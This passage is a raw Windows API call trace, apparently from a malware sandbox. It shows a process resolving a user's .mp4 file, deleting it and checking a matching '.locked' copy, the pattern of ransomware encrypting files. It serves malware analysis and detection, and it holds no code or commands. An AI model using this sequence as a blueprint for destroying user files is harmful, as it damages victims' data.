(lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\2qq3yhqnfri.mp4")) returned 0x20 [0138.284] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", lpFilePart=0x0) returned 0x5c [0138.284] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0138.284] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0138.284] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0138.284] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0138.284] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0138.284] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0138.284] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0138.284] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0138.285] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0138.285] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0138.285] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0138.285] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0138.285] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0138.285] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0138.285] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0138.285] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0138.285] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv")) returned 0x10 [0138.285] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv")) returned 0x10 [0138.285] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", lpFilePart=0x0) returned 0x2f [0138.286] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", lpFilePart=0x0) returned 0x2f [0138.286] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by")) returned 0x10 [0138.286] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by")) returned 0x10 [0138.286] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By", lpFilePart=0x0) returned 0x3a [0138.286] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By", lpFilePart=0x0) returned 0x3a [0138.286] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e")) returned 0x10 [0138.286] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e")) returned 0x10 [0138.286] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e", lpFilePart=0x0) returned 0x4c [0138.286] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e", lpFilePart=0x0) returned 0x4c [0138.286] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\2qq3yhqnfri.mp4")) returned 0x20 [0138.286] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", lpFilePart=0x0) returned 0x5c [0138.286] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", lpFilePart=0x0) returned 0x5c [0138.287] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", lpFilePart=0x0) returned 0x5c [0138.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0138.287] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", lpFilePart=0x0) returned 0x5c [0138.287] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4\\", lpFilePart=0x0) returned 0x5d [0138.287] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0138.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0138.288] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0138.288] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0138.288] CoTaskMemFree (pv=0x8eb8d30) [0138.289] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\2qq3yhqnfri.mp4")) returned 0x20 [0138.289] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", lpFilePart=0x0) returned 0x5c [0138.289] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", lpFilePart=0x0) returned 0x5c [0138.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0138.289] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\2qq3yhqnfri.mp4"), fInfoLevelId=0x0, lpFileInformation=0x6a8e524 | out: lpFileInformation=0x6a8e524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0172190, ftCreationTime.dwHighDateTime=0x1d4ae11, ftLastAccessTime.dwLowDateTime=0xca48a0f0, ftLastAccessTime.dwHighDateTime=0x1d4a3e6, ftLastWriteTime.dwLowDateTime=0xca48a0f0, ftLastWriteTime.dwHighDateTime=0x1d4a3e6, nFileSizeHigh=0x0, nFileSizeLow=0x11576)) returned 1 [0138.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0138.289] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\2qq3yhqnfri.mp4")) returned 1 [0138.291] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.291] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.291] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.291] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.291] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.292] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\2qq3yhqnfri.mp4.locked")) returned 0x20 [0138.292] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\2qq3yhqnfri.mp4.locked")) returned 0x20 [0138.293] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4.locked", lpFilePart=0x0) returned 0x63 [0138.293] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4.locked", lpFilePart=0x0) returned 0x63 [0138.293] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.293] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\2QQ3yhqnFri.mp4", lpFilePart=0x0) returned 0x5c [0138.293] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.293] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.293] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.293] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.294] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.294] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.294] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.294] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.294] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.296] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.296] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.296] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.296] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.296] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.297] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.297] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.297] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.297] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.297] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.299] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.299] GetEnvironmentVariableW (in: 